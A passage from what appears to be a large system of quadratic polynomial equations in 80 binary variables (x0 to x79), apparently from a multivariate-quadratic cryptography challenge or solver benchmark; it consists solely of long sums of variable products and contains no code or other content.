+ x40*x69 + x40*x71 + x40*x73 + x40*x74 + x40*x75 + x40*x76 + x40*x78 + x41*x43 + x41*x44 + x41*x49 + x41*x50 + x41*x54 + x41*x55 + x41*x58 + x41*x59 + x41*x61 + x41*x62 + x41*x66 + x41*x67 + x41*x71 + x41*x72 + x41*x73 + x41*x76 + x41*x78 + x41 + x42*x44 + x42*x45 + x42*x50 + x42*x52 + x42*x53 + x42*x56 + x42*x58 + x42*x60 + x42*x64 + x42*x66 + x42*x67 + x42*x68 + x42*x69 + x42*x70 + x42*x73 + x42*x76 + x42*x77 + x42*x78 + x42 + x43*x46 + x43*x48 + x43*x49 + x43*x50 + x43*x52 + x43*x54 + x43*x56 + x43*x57 + x43*x58 + x43*x59 + x43*x61 + x43*x62 + x43*x63 + x43*x66 + x43*x67 + x43*x69 + x43*x71 + x43*x72 + x43*x73 + x43*x75 + x43*x77 + x43*x78 + x44*x46 + x44*x49 + x44*x50 + x44*x51 + x44*x52 + x44*x53 + x44*x55 + x44*x56 + x44*x58 + x44*x59 + x44*x60 + x44*x61 + x44*x64 + x44*x65 + x44*x66 + x44*x68 + x44*x70 + x44*x71 + x44*x72 + x44 + x45*x46 + x45*x47 + x45*x51 + x45*x53 + x45*x54 + x45*x55 + x45*x56 + x45*x58 + x45*x61 + x45*x62 + x45*x65 + x45*x67 + x45*x68 + x45*x70 + x45*x72 + x45*x73 + x45*x76 + x45*x77 + x45 + x46*x47 + x46*x49 + x46*x50 + x46*x51 + x46*x52 + x46*x53 + x46*x54 + x46*x57 + x46*x58 + x46*x60 + x46*x62 + x46*x64 + x46*x65 + x46*x66 + x46*x67 + x46*x68 + x46*x70 + x46*x71 + x46*x75 + x46*x77 + x46 + x47*x48 + x47*x50 + x47*x51 + x47*x55 + x47*x60 + x47*x64 + x47*x68 + x47*x71 + x47*x72 + x47*x73 + x47*x74 + x47*x75 + x47*x78 + x47 + x48*x49 + x48*x50 + x48*x51 + x48*x52 + x48*x55 + x48*x56 + x48*x57 + x48*x58 + x48*x59 + x48*x60 + x48*x63 + x48*x64 + x48*x68 + x48*x69 + x48*x71 + x48*x72 + x48*x73 + x48*x75 + x48*x76 + x48*x78 + x48 + x49*x50 + x49*x51 + x49*x52 + x49*x53 + x49*x54 + x49*x57 + x49*x58 + x49*x60 + x49*x61 + x49*x62 + x49*x63 + x49*x64 + x49*x67 + x49*x69 + x49*x72 + x49*x73 + x49*x76 + x49*x79 + x49 + x50*x54 + x50*x59 + x50*x60 + x50*x63 + x50*x65 + x50*x66 + x50*x67 + x50*x68 + x50*x70 + x50*x71 + x50*x72 + x50*x73 + x50*x74 + x50*x75 + x50*x79 + x50 + x51*x53 + x51*x55 + x51*x56 + x51*x61 + x51*x62 + x51*x71 + x51*x72 + x51*x74 + x51*x77 + x51*x79 + x52*x53 + x52*x60 + x52*x61 + x52*x63 + x52*x64 + x52*x65 + x52*x70 + x52*x71 + x52*x75 + x52*x76 + x52*x78 + x52*x79 + x52 + x53*x60 + x53*x65 + x53*x67 + x53*x70 + x53*x71 + x53*x72 + x53*x75 + x53*x76 + x54*x55 + x54*x60 + x54*x62 + x54*x63 + x54*x64 + x54*x65 + x54*x66 + x54*x67 + x54*x69 + x54*x71 + x54*x72 + x54*x73 + x54*x76 + x54*x77 + x55*x56 + x55*x60 + x55*x61 + x55*x62 + x55*x63 + x55*x64 + x55*x65 + x55*x70 + x55*x74 + x55*x75 + x55*x76 + x55 + x56*x58 + x56*x61 + x56*x62 + x56*x63 + x56*x65 + x56*x67 + x56*x68 + x56*x70 + x56*x71 + x56*x73 + x56*x75 + x56*x78 + x56 + x57*x64 + x57*x65 + x57*x66 + x57*x68 + x57*x69 + x57*x71 + x57*x75 + x57*x77 + x57*x78 + x58*x59 + x58*x60 + x58*x61 + x58*x62 + x58*x64 + x58*x66 + x58*x67 + x58*x68 + x58*x70 + x58*x72 + x58*x73 + x58*x75 + x58*x78 + x59*x62 + x59*x65 + x59*x67 + x59*x68 + x59*x69 + x59*x70 + x59*x72 + x59*x74 + x59*x75 + x59*x78 + x60*x62 + x60*x65 + x60*x66 + x60*x67 + x60*x69 + x60*x70 + x60*x71 + x60*x78 + x61*x63 + x61*x64 + x61*x66 + x61*x67 + x61*x68 + x61*x69 + x61*x71 + x61*x72 + x61*x76 + x61*x78 + x61*x79 + x62*x63 + x62*x64 + x62*x66 + x62*x71 + x62*x72 + x62*x73 + x62*x75 + x62*x76 + x62*x77 + x62*x78 + x62*x79 + x62 + x63*x65 + x63*x66 + x63*x67 + x63*x68 + x63*x71 + x63*x72 + x63*x73 + x63*x75 + x63*x76 + x63*x78 + x63*x79 + x63 + x64*x65 + x64*x66 + x64*x69 + x64*x70 + x64*x73 + x64*x74 + x64*x75 + x64*x76 + x64*x79 + x65*x69 + x65*x76 + x65 + x66*x67 + x66*x68 + x66*x69 + x66*x70 + x66*x71 + x66*x73 + x66*x75 + x66*x76 + x66*x78 + x67*x69 + x67*x72 + x67*x73 + x67*x74 + x67*x75 + x67*x77 + x67*x79 + x68*x69 + x68*x71 + x68*x72 + x68*x73 + x68*x76 + x68*x78 + x68*x79 + x69*x71 + x69*x72 + x69*x73 + x69*x74 + x69*x75 + x69*x79 + x70*x73 + x70*x75 + x70*x76 + x70*x79 + x71*x74 + x71*x75 + x71 + x72*x74 + x72*x76 + x72*x77 + x72*x78 + x73*x76 + x74*x75 + x74*x77 + x75*x76 + x75*x78 + x75*x79 + x76 + x77*x78 + x77 + x79 + 1, x0*x2 + x0*x3 + x0*x4 + x0*x7 + x0*x8 + x0*x12 + x0*x13 + x0*x15 + x0*x16 + x0*x18 + x0*x19 + x0*x21 + x0*x25 + x0*x26 + x0*x27 + x0*x29 + x0*x30 + x0*x31 + x0*x32 + x0*x36 + x0*x42 + x0*x43 + x0*x46 + x0*x47 + x0*x49 + x0*x53 + x0*x57 + x0*x60 + x0*x63 + x0*x65 + x0*x67 + x0*x68 + x0*x69 + x0*x70 + x0*x72 + x0*x73 + x0*x75 + x0*x76 + x1*x4 + x1*x5 + x1*x6 + x1*x7 + x1*x8 + x1*x10 + x1*x12 + x1*x14 + x1*x15 + x1*x16 + x1*x18 + x1*x19 + x1*x22 + x1*x26 + x1*x27 + x1*x28 + x1*x29 + x1*x31 + x1*x32 + x1*x34 + x1*x36 + x1*x39 + x1*x41 + x1*x42 + x1*x44 + x1*x47 + x1*x50 + x1*x52 + x1*x55 + x1*x58 + x1*x61 + x1*x62 + x1*x63 + x1*x64 + x1*x67 + x1*x70 + x1*x71 + x1*x72 + x1*x74 + x1*x77 + x2*x3 + x2*x5 + x2*x8 + x2*x9 + x2*x13 + x2*x15 + x2*x17 + x2*x18 + x2*x19 + x2*x20 + x2*x25 + x2*x26 + x2*x27 + x2*x28 + x2*x29 + x2*x30 + x2*x31 + x2*x33 + x2*x35 + x2*x38 + x2*x43 + x2*x45 + x2*x48 + x2*x50 + x2*x52 + x2*x56 + x2*x58 + x2*x61 + x2*x65 + x2*x66 + x2*x67 + x2*x69 + x2*x70 + x2*x71 + x2*x72 + x2*x73 + x2*x74 + x2*x77 + x2*x78 + x2*x79 + x3*x4 + x3*x6 + x3*x8 + x3*x9 + x3*x10 + x3*x15 + x3*x18 + x3*x19 + x3*x20 + x3*x21 + x3*x22 + x3*x23 + x3*x24 + x3*x25 + x3*x26 + x3*x27 + x3*x29 + x3*x30 + x3*x31 + x3*x34 + x3*x35 + x3*x37 + x3*x38 + x3*x39 + x3*x41 + x3*x43 + x3*x47 + x3*x50 + x3*x51 + x3*x52 + x3*x53 + x3*x62 + x3*x64 + x3*x65 + x3*x66 + x3*x67 + x3*x69 + x3*x74 + x3*x77 + x3*x78 + x3*x79 + x4*x5 + x4*x6 + x4*x7 + x4*x9 + x4*x10 + x4*x14 + x4*x16 + x4*x19 + x4*x23 + x4*x24 + x4*x25 + x4*x26 + x4*x27 + x4*x28 + x4*x29 + x4*x32 + x4*x33 + x4*x34 + x4*x35 + x4*x43 + x4*x44 + x4*x47 + x4*x48 + x4*x50 + x4*x51 + x4*x56 + x4*x57 + x4*x58 + x4*x59 + x4*x61 + x4*x64 + x4*x65 + x4*x66 + x4*x67 + x4*x70 + x4*x72 + x4*x74 + x4*x76 + x4*x79 + x4 + x5*x6 + x5*x8 + x5*x9 + x5*x10 + x5*x11 + x5*x12 + x5*x15 + x5*x16 + x5*x17 + x5*x20 + x5*x22 + x5*x23 + x5*x25 + x5*x26 + x5*x28 + x5*x30 + x5*x31 + x5*x32 + x5*x35 + x5*x36 + x5*x38 + x5*x40 + x5*x42 + x5*x47 + x5*x51 + x5*x56 + x5*x57 + x5*x59 + x5*x61 + x5*x62 + x5*x63 + x5*x64 + x5*x66 + x5*x67 + x5*x69 + x5*x70 + x5*x73 + x5*x74 + x5*x75 + x5*x76 + x5*x77 + x5*x79 + x6*x7 + x6*x8 + x6*x9 + x6*x11 + x6*x12 + x6*x15 + x6*x17 + x6*x19 + x6*x20 + x6*x22 + x6*x25 + x6*x26 + x6*x28 + x6*x29 + x6*x30 + x6*x31 + x6*x33 + x6*x35 + x6*x36 + x6*x37 + x6*x39 + x6*x40 + x6*x41 + x6*x42 + x6*x44 + x6*x47 + x6*x48 + x6*x50 + x6*x52 + x6*x53 + x6*x55 + x6*x58 + x6*x60 + x6*x62 + x6*x63 + x6*x64 + x6*x65 + x6*x66 + x6*x71 + x6*x77 + x7*x8 + x7*x9 + x7*x11 + x7*x13 + x7*x15 + x7*x19 + x7*x20 + x7*x23 + x7*x24 + x7*x25 + x7*x28 + x7*x29 + x7*x31 + x7*x32 + x7*x36 + x7*x37 + x7*x38 + x7*x40 + x7*x45 + x7*x46 + x7*x51 + x7*x53 + x7*x54 + x7*x56 + x7*x58 + x7*x59 + x7*x61 + x7*x62 + x7*x66 + x7*x67 + x7*x68 + x7*x69 + x7*x75 + x7*x79 + x8*x12 + x8*x14 + x8*x15 + x8*x16 + x8*x21 + x8*x24 + x8*x28 + x8*x30 + x8*x31 + x8*x32 + x8*x34 + x8*x35 + x8*x37 + x8*x40 + x8*x42 + x8*x44 + x8*x45 + x8*x46 + x8*x47 + x8*x48 + x8*x49 + x8*x50 + x8*x52 + x8*x53 + x8*x57 + x8*x58 + x8*x59 + x8*x61 + x8*x63 + x8*x66 + x8*x67 + x8*x69 + x8*x74 + x8*x75 + x8*x76 + x8*x77 + x8*x78 + x8*x79 + x9*x13 + x9*x17 + x9*x20 + x9*x21 + x9*x23 + x9*x24 + x9*x25 + x9*x26 + x9*x29 + x9*x30 + x9*x31 + x9*x33 + x9*x34 + x9*x35 + x9*x37 + x9*x38 + x9*x40 + x9*x41 + x9*x42 + x9*x45 + x9*x46 + x9*x47 + x9*x52 + x9*x53 + x9*x55 + x9*x59 + x9*x60 + x9*x62 + x9*x64 + x9*x65 + x9*x66 + x9*x68 + x9*x69 + x9*x70 + x9*x71 + x9*x72 + x9*x73 + x9*x76 + x9*x78 + x9*x79 + x10*x11 + x10*x13 + x10*x15 + x10*x16 + x10*x18 + x10*x21 + x10*x23 + x10*x24 + x10*x25 + x10*x26 + x10*x29 + x10*x30 + x10*x33 + x10*x35 + x10*x38 + x10*x40 + x10*x41 + x10*x42 + x10*x43 + x10*x44 + x10*x45 + x10*x46 + x10*x48 + x10*x49 + x10*x51 + x10*x52 + x10*x53 + x10*x54 + x10*x63 + x10*x64 + x10*x66 + x10*x68 + x10*x69 + x10*x72 + x10*x74 + x10*x77 + x10*x78 + x10 + x11*x13 + x11*x15 + x11*x18 + x11*x20 + x11*x21 + x11*x22 + x11*x23 + x11*x24 + x11*x26 + x11*x34 + x11*x35 + x11*x40 + x11*x41 + x11*x42 + x11*x44 + x11*x45 + x11*x47 + x11*x48 + x11*x50 + x11*x51 + x11*x54 + x11*x56 + x11*x60 + x11*x61 + x11*x65 + x11*x66 + x11*x67 + x11*x69 + x11*x70 + x11*x72 + x11*x73 + x11*x75 + x11*x76 + x11*x77 + x11*x78 + x11*x79 + x12*x15 + x12*x16 + x12*x17 + x12*x22 + x12*x23 + x12*x24 + x12*x25 + x12*x26 + x12*x27 + x12*x28 + x12*x30 + x12*x31 + x12*x32 + x12*x33 + x12*x36 + x12*x37 + x12*x42 + x12*x44 + x12*x45 + x12*x47 + x12*x50 + x12*x55 + x12*x57 + x12*x58 + x12*x59 + x12*x64 + x12*x66 + x12*x68 + x12*x70 + x12*x72 + x12*x73 + x12*x74 + x12*x75 + x12*x77 + x12*x78 + x12*x79 + x13*x15 + x13*x16 + x13*x17 + x13*x19 + x13*x21 + x13*x23 + x13*x25 + x13*x26 + x13*x27 + x13*x28 + x13*x29 + x13*x30 + x13*x32 + x13*x34 + x13*x38 + x13*x39 + x13*x40 + x13*x41 + x13*x42 + x13*x43 + x13*x44 + x13*x47 + x13*x50 + x13*x52 + x13*x53 + x13*x54 + x13*x55 + x13*x59 + x13*x60 + x13*x61 + x13*x62 + x13*x63 + x13*x65 + x13*x67 + x13*x68 + x13*x72 + x13*x73 + x13*x74 + x13*x76 + x13*x78 + x13*x79 + x14*x15 + x14*x16 + x14*x17 + x14*x19 + x14*x21 + x14*x23 + x14*x24 + x14*x27 + x14*x28 + x14*x29 + x14*x31 + x14*x34 + x14*x39 + x14*x43 + x14*x44 + x14*x47 + x14*x48 + x14*x49 + x14*x55 + x14*x58 + x14*x61 + x14*x64 + x14*x65 + x14*x66 + x14*x67 + x14*x69 + x14*x70 + x14*x71 + x14*x73 + x14*x74 + x14*x75 + x14*x76 + x14*x77 + x14*x78 + x14 + x15*x16 + x15*x20 + x15*x23 + x15*x24 + x15*x27 + x15*x28 + x15*x29 + x15*x32 + x15*x33 + x15*x37 + x15*x39 + x15*x40 + x15*x44 + x15*x45 + x15*x47 + x15*x48 + x15*x49 + x15*x50 + x15*x51 + x15*x52 + x15*x54 + x15*x55 + x15*x57 + x15*x58 + x15*x61 + x15*x62 + x15*x66 + x15*x67 + x15*x69 + x15*x70 + x15*x71 + x15*x73 + x15*x76 + x15*x78 + x15*x79 + x15 + x16*x18 + x16*x19 + x16*x22 + x16*x25 + x16*x26 + x16*x27 + x16*x30 + x16*x31 + x16*x35 + x16*x36 + x16*x37 + x16*x40 + x16*x41 + x16*x42 + x16*x45 + x16*x47 + x16*x49 + x16*x50 + x16*x53 + x16*x56 + x16*x58 + x16*x60 + x16*x61 + x16*x63 + x16*x64 + x16*x65 + x16*x67 + x16*x68 + x16*x71 + x16*x72 + x16*x73 + x16*x75 + x16*x76 + x16*x78 + x16 + x17*x21 + x17*x22 + x17*x24 + x17*x28 + x17*x29 + x17*x33 + x17*x36 + x17*x40 + x17*x42 + x17*x43 + x17*x45 + x17*x47 + x17*x52 + x17*x54 + x17*x56 + x17*x58 + x17*x60 + x17*x61 + x17*x62 + x17*x66 + x17*x68 + x17*x70 + x17*x74 + x17*x75 + x17*x76 + x17*x78 + x18*x20 + x18*x21 + x18*x24 + x18*x25 + x18*x26 + x18*x27 + x18*x28 + x18*x34 + x18*x36 + x18*x42 + x18*x46 + x18*x47 + x18*x50 + x18*x52 + x18*x53 + x18*x55 + x18*x56 + x18*x57 + x18*x61 + x18*x64 + x18*x68 + x18*x70 + x18*x74 + x18*x75 + x18*x76 + x19*x20 + x19*x22 + x19*x24 + x19*x25 + x19*x27 + x19*x28 + x19*x32 + x19*x34 + x19*x35 + x19*x37 + x19*x38 + x19*x40 + x19*x44 + x19*x46 + x19*x47 + x19*x52 + x19*x55 + x19*x56 + x19*x57 + x19*x58 + x19*x59 + x19*x61 + x19*x63 + x19*x65 + x19*x68 + x19*x74 + x19*x75 + x19*x78 + x19*x79 + x20*x23 + x20*x24 + x20*x25 + x20*x27 + x20*x28 + x20*x34 + x20*x35 + x20*x41 + x20*x42 + x20*x45 + x20*x47 + x20*x48 + x20*x50 + x20*x51 + x20*x52 + x20*x53 + x20*x54 + x20*x55 + x20*x57 + x20*x58 + x20*x61 + x20*x65 + x20*x66 + x20*x69 + x20*x70 + x20*x72 + x20*x73 + x20*x74 + x20*x76 + x20*x78 + x20*x79 + x20 + x21*x25 + x21*x27 + x21*x28 + x21*x29 + x21*x30 + x21*x31 + x21*x32 + x21*x34 + x21*x38 + x21*x40 + x21*x42 + x21*x44 + x21*x46 + x21*x49 + x21*x51 + x21*x52 + x21*x55 + x21*x56 + x21*x58 + x21*x59 + x21*x60 + x21*x61 + x21*x63 + x21*x65 + x21*x67 + x21*x68 + x21*x72 + x21*x73 + x21*x78 + x21*x79 + x21 + x22*x23 + x22*x26 + x22*x27 + x22*x30 + x22*x31 + x22*x32 + x22*x33 + x22*x40 + x22*x41 + x22*x44 + x22*x47 + x22*x48 + x22*x49 + x22*x54 + x22*x55 + x22*x58 + x22*x59 + x22*x60 + x22*x62 + x22*x64 + x22*x65 + x22*x66 + x22*x69 + x22*x70 + x22*x71 + x22*x73 + x22*x74 + x22*x77 + x22 + x23*x24 + x23*x25 + x23*x26 + x23*x29 + x23*x32 + x23*x33 + x23*x34 + x23*x35 + x23*x39 + x23*x43 + x23*x45 + x23*x47 + x23*x49 + x23*x51 + x23*x55 + x23*x56 + x23*x57 + x23*x58 + x23*x60 + x23*x62 + x23*x63 + x23*x69 + x23*x70 + x23*x73 + x23*x75 + x23*x76 + x23*x79 + x24*x27 + x24*x29 + x24*x30 + x24*x31 + x24*x32 + x24*x33 + x24*x34 + x24*x35 + x24*x36 + x24*x37 + x24*x41 + x24*x43 + x24*x44 + x24*x47 + x24*x48 + x24*x51 + x24*x52 + x24*x56 + x24*x57 + x24*x59 + x24*x61 + x24*x62 + x24*x70 + x24*x71 + x24*x72 + x24*x77 + x24*x78 + x24*x79 + x25*x27 + x25*x29 + x25*x30 + x25*x31 + x25*x35 + x25*x38 + x25*x39 + x25*x41 + x25*x42 + x25*x46 + x25*x50 + x25*x51 + x25*x52 + x25*x53 + x25*x55 + x25*x56 + x25*x57 + x25*x59 + x25*x61 + x25*x62 + x25*x68 + x25*x69 + x25*x71 + x25*x72 + x25*x74 + x25*x76 + x25*x77 + x26*x27 + x26*x29 + x26*x30 + x26*x34 + x26*x35 + x26*x38 + x26*x39 + x26*x46 + x26*x49 + x26*x51 + x26*x53 + x26*x54 + x26*x56 + x26*x57 + x26*x59 + x26*x62 + x26*x67 + x26*x73 + x26*x74 + x26 + x27*x33 + x27*x38 + x27*x41 + x27*x42 + x27*x44 + x27*x48 + x27*x49 + x27*x52 + x27*x53 + x27*x54 + x27*x55 + x27*x56 + x27*x59 + x27*x61 + x27*x63 + x27*x64 + x27*x65 + x27*x66 + x27*x68 + x27*x69 + x27*x70 + x27*x71 + x27*x75 + x27*x76 + x27*x77 + x27*x78 + x27*x79 + x27 + x28*x29 + x28*x30 + x28*x37 + x28*x41 + x28*x42 + x28*x43 + x28*x52 + x28*x56 + x28*x57 + x28*x58 + x28*x59 + x28*x61 + x28*x62 + x28*x63 + x28*x65 + x28*x68 + x28*x69 + x28*x70 + x28*x71 + x28*x76 + x28*x79 + x28 + x29*x32 + x29*x34 + x29*x35 + x29*x36 + x29*x38 + x29*x43 + x29*x45 + x29*x46 + x29*x47 + x29*x48 + x29*x49 + x29*x50 + x29*x51 + x29*x55 + x29*x58 + x29*x59 + x29*x60 + x29*x62 + x29*x63 + x29*x64 + x29*x66 + x29*x69 + x29*x70 + x29*x73 + x29*x75 + x29*x76 + x29*x78 + x30*x32 + x30*x34 + x30*x36 + x30*x39 + x30*x40 + x30*x43 + x30*x46 + x30*x47 + x30*x49 + x30*x50 + x30*x54 + x30*x56 + x30*x57 + x30*x61 + x30*x63 + x30*x65 + x30*x66 + x30*x70 + x30*x73 + x30*x74 + x30*x75 + x30*x77 + x30*x78 + x31*x34 + x31*x36 + x31*x39 + x31*x41 + x31*x43 + x31*x44 + x31*x46 + x31*x47 + x31*x50 + x31*x53 + x31*x55 + x31*x57 + x31*x59 + x31*x60 + x31*x61 + x31*x63 + x31*x64 + x31*x65 + x31*x66 + x31*x68 + x31*x70 + x31*x73 + x31*x75 + x31*x76 + x31*x77 + x31 + x32*x33 + x32*x34 + x32*x35 + x32*x37 + x32*x39 + x32*x40 + x32*x42 + x32*x44 + x32*x45 + x32*x47 + x32*x48 + x32*x51 + x32*x52 + x32*x54 + x32*x55 + x32*x56 + x32*x57 + x32*x60 + x32*x63 + x32*x64 + x32*x65 + x32*x67 + x32*x68 + x32*x69 + x32*x70 + x32*x71 + x32*x72 + x32*x75 + x32*x77 + x32*x79 + x32 + x33*x34 + x33*x37 + x33*x38 + x33*x39 + x33*x40 + x33*x42 + x33*x43 + x33*x44 + x33*x45 + x33*x46 + x33*x47 + x33*x50 + x33*x52 + x33*x53 + x33*x54 + x33*x55 + x33*x57 + x33*x58 + x33*x61 + x33*x62 + x33*x63 + x33*x64 + x33*x67 + x33*x68 + x33*x69 + x33*x70 + x33*x71 + x33*x75 + x33*x76 + x33*x78 + x33 + x34*x35 + x34*x36 + x34*x37 + x34*x40 + x34*x41 + x34*x43 + x34*x46 + x34*x49 + x34*x52 + x34*x53 + x34*x56 + x34*x61 + x34*x62 + x34*x63 + x34*x64 + x34*x66 + x34*x73 + x34*x74 + x34*x75 + x34*x77 + x35*x37 + x35*x38 + x35*x39 + x35*x40 + x35*x41 + x35*x49 + x35*x52 + x35*x57 + x35*x61 + x35*x64 + x35*x66 + x35*x68 + x35*x70 + x35*x76 + x35*x77 + x35*x79 + x36*x37 + x36*x38 + x36*x39 + x36*x40 + x36*x41 + x36*x42 + x36*x43 + x36*x47 + x36*x52 + x36*x53 + x36*x54 + x36*x56 + x36*x60 + x36*x63 + x36*x65 + x36*x66 + x36*x71 + x36*x72 + x36*x73 + x36*x77 + x36*x79 + x37*x42 + x37*x43 + x37*x45 + x37*x46 + x37*x49 + x37*x54 + x37*x57 + x37*x58 + x37*x59 + x37*x60 + x37*x62 + x37*x63 + x37*x64 + x37*x66 + x37*x69 + x37*x71 + x37*x74 + x37*x76 + x38*x39 + x38*x42 + x38*x46 + x38*x48 + x38*x50 + x38*x52 + x38*x53 + x38*x54 + x38*x55 + x38*x57 + x38*x59 + x38*x63 + x38*x65 + x38*x66 + x38*x68 + x38*x70 + x38*x71 + x38*x73 + x38*x74 + x38*x75 + x38*x76 + x38*x77 + x38*x79 + x38 + x39*x40 + x39*x42 + x39*x44 + x39*x46 + x39*x48 + x39*x49 + x39*x53 + x39*x59 + x39*x60 + x39*x62 + x39*x63 + x39*x64 + x39*x65 + x39*x69 + x39*x71 + x39*x72 + x39*x73 + x39*x74 + x39*x75 + x39*x76 + x39*x77 + x39*x78 + x39*x79 + x40*x45 + x40*x48 + x40*x50 + x40*x52 + x40*x54 + x40*x56 + x40*x59 + x40*x61 + x40*x63 + x40*x65 + x40*x66 + x40*x69 + x40*x70 + x40*x77 + x40*x79 + x40 + x41*x42 + x41*x46 + x41*x47 + x41*x49 + x41*x53 + x41*x54 + x41*x55 + x41*x56 + x41*x58 + x41*x60 + x41*x63 + x41*x64 + x41*x68 + x41*x69 + x41*x71 + x41*x74 + x41*x75 + x41*x79 + x42*x43 + x42*x45 + x42*x46 + x42*x49 + x42*x50 + x42*x53 + x42*x54 + x42*x55 + x42*x56 + x42*x57 + x42*x59 + x42*x60 + x42*x61 + x42*x62 + x42*x64 + x42*x67 + x42*x69 + x42*x70 + x42*x72 + x42*x73 + x42*x74 + x42*x75 + x42*x77 + x42*x79 + x42 + x43*x46 + x43*x47 + x43*x48 + x43*x49 + x43*x53 + x43*x54 + x43*x56 + x43*x60 + x43*x61 + x43*x62 + x43*x67 + x43*x71 + x43*x75 + x44*x45 + x44*x47 + x44*x48 + x44*x49 + x44*x50 + x44*x53 + x44*x55 + x44*x56 + x44*x59 + x44*x60 + x44*x63 + x44*x65 + x44*x67 + x44*x68 + x44*x70 + x44*x72 + x44*x74 + x44*x79 + x45*x46 + x45*x48 + x45*x50 + x45*x51 + x45*x55 + x45*x57 + x45*x58 + x45*x59 + x45*x60 + x45*x64 + x45*x65 + x45*x67 + x45*x69 + x45*x71 + x45*x72 + x45*x76 + x45*x77 + x45 + x46*x48 + x46*x53 + x46*x58 + x46*x62 + x46*x66 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x76 + x46*x77 + x47*x52 + x47*x56 + x47*x59 + x47*x60 + x47*x62 + x47*x63 + x47*x64 + x47*x65 + x47*x66 + x47*x68 + x47*x69 + x47*x70 + x47*x71 + x47*x73 + x47*x74 + x47*x75 + x47*x77 + x47*x79 + x47 + x48*x50 + x48*x51 + x48*x55 + x48*x56 + x48*x60 + x48*x62 + x48*x64 + x48*x65 + x48*x67 + x48*x68 + x48*x70 + x48*x71 + x48*x72 + x48*x73 + x48*x75 + x48*x78 + x48*x79 + x49*x50 + x49*x51 + x49*x54 + x49*x56 + x49*x58 + x49*x60 + x49*x64 + x49*x65 + x49*x67 + x49*x70 + x49*x71 + x49*x72 + x49*x73 + x49*x74 + x49*x75 + x49*x76 + x49*x77 + x49*x78 + x50*x51 + x50*x52 + x50*x53 + x50*x54 + x50*x55 + x50*x59 + x50*x63 + x50*x66 + x50*x67 + x50*x69 + x50*x70 + x50*x72 + x50*x73 + x50*x75 + x50*x76 + x50 + x51*x55 + x51*x57 + x51*x58 + x51*x59 + x51*x60 + x51*x62 + x51*x63 + x51*x65 + x51*x66 + x51*x68 + x51*x69 + x51*x71 + x51*x72 + x51*x75 + x51*x76 + x51*x77 + x51*x78 + x51*x79 + x51 + x52*x53 + x52*x54 + x52*x55 + x52*x59 + x52*x64 + x52*x65 + x52*x70 + x52*x73 + x52*x74 + x52*x76 + x52*x77 + x53*x56 + x53*x58 + x53*x60 + x53*x61 + x53*x62 + x53*x63 + x53*x64 + x53*x65 + x53*x67 + x53*x73 + x53*x76 + x53*x77 + x53*x79 + x53 + x54*x57 + x54*x61 + x54*x62 + x54*x63 + x54*x67 + x54*x71 + x54*x74 + x54*x75 + x54*x78 + x54*x79 + x55*x57 + x55*x60 + x55*x62 + x55*x64 + x55*x65 + x55*x66 + x55*x67 + x55*x69 + x55*x70 + x55*x71 + x55*x74 + x55*x75 + x55*x79 + x56*x59 + x56*x63 + x56*x64 + x56*x65 + x56*x66 + x56*x67 + x56*x68 + x56*x69 + x56*x70 + x56*x71 + x56*x73 + x56*x74 + x56*x76 + x56*x78 + x56 + x57*x58 + x57*x59 + x57*x61 + x57*x62 + x57*x64 + x57*x66 + x57*x67 + x57*x69 + x57*x73 + x57*x76 + x57*x77 + x57*x78 + x57 + x58*x60 + x58*x64 + x58*x65 + x58*x66 + x58*x69 + x58*x71 + x58*x72 + x58*x73 + x58*x74 + x58*x75 + x58*x76 + x58 + x59*x60 + x59*x62 + x59*x64 + x59*x65 + x59*x72 + x59*x75 + x59*x77 + x59*x79 + x60*x61 + x60*x62 + x60*x63 + x60*x65 + x60*x67 + x60*x69 + x60*x70 + x60*x73 + x60*x74 + x60*x76 + x60*x77 + x60*x79 + x60 + x61*x66 + x61*x67 + x61*x71 + x61*x72 + x61*x75 + x61*x76 + x61 + x62*x67 + x62*x71 + x62*x76 + x62*x78 + x62 + x63*x66 + x63*x67 + x63*x70 + x63*x75 + x63*x76 + x63*x78 + x64*x65 + x64*x68 + x64*x70 + x64*x71 + x64*x74 + x64*x78 + x65*x69 + x65*x72 + x65*x73 + x65*x75 + x65*x78 + x65*x79 + x65 + x66*x67 + x66*x69 + x66*x70 + x66*x73 + x66*x74 + x66*x75 + x66*x76 + x66*x79 + x66 + x67*x68 + x67*x71 + x67*x72 + x67*x74 + x67*x75 + x67*x76 + x67*x77 + x68*x69 + x68*x72 + x68 + x69*x70 + x69*x71 + x69*x73 + x69*x75 + x69*x77 + x69*x78 + x69 + x70*x74 + x70*x75 + x70*x76 + x70*x78 + x71*x72 + x71*x74 + x71*x75 + x71*x76 + x71*x79 + x72*x73 + x72*x74 + x72*x75 + x72*x78 + x72*x79 + x73*x75 + x73*x76 + x73*x78 + x74*x75 + x74*x76 + x74 + x75*x77 + x75*x78 + x76*x78 + x76*x79 + x76 + x77*x78 + x77*x79 + x77 + x78 + x79, x0*x3 + x0*x4 + x0*x5 + x0*x6 + x0*x7 + x0*x9 + x0*x10 + x0*x12 + x0*x13 + x0*x19 + x0*x21 + x0*x23 + x0*x25 + x0*x26 + x0*x27 + x0*x28 + x0*x29 + x0*x31 + x0*x34 + x0*x35 + x0*x36 + x0*x38 + x0*x40 + x0*x42 + x0*x43 + x0*x44 + x0*x48 + x0*x49 + x0*x50 + x0*x52 + x0*x53 + x0*x57 + x0*x58 + x0*x60 + x0*x62 + x0*x63 + x0*x64 + x0*x65 + x0*x66 + x0*x69 + x0*x70 + x0*x72 + x0*x76 + x0*x78 + x0*x79 + x1*x4 + x1*x5 + x1*x6 + x1*x8 + x1*x9 + x1*x10 + x1*x12 + x1*x14 + x1*x15 + x1*x16 + x1*x17 + x1*x18 + x1*x19 + x1*x20 + x1*x22 + x1*x23 + x1*x24 + x1*x26 + x1*x28 + x1*x30 + x1*x31 + x1*x33 + x1*x34 + x1*x36 + x1*x38 + x1*x41 + x1*x42 + x1*x43 + x1*x44 + x1*x45 + x1*x47 + x1*x49 + x1*x55 + x1*x58 + x1*x59 + x1*x60 + x1*x61 + x1*x63 + x1*x64 + x1*x66 + x1*x67 + x1*x68 + x1*x70 + x1*x72 + x1*x73 + x1*x74 + x1*x79 + x1 + x2*x4 + x2*x5 + x2*x6 + x2*x7 + x2*x9 + x2*x11 + x2*x16 + x2*x21 + x2*x22 + x2*x25 + x2*x26 + x2*x28 + x2*x31 + x2*x32 + x2*x34 + x2*x36 + x2*x41 + x2*x43 + x2*x46 + x2*x48 + x2*x51 + x2*x56 + x2*x57 + x2*x62 + x2*x63 + x2*x64 + x2*x65 + x2*x67 + x2*x71 + x2*x72 + x2*x74 + x2*x76 + 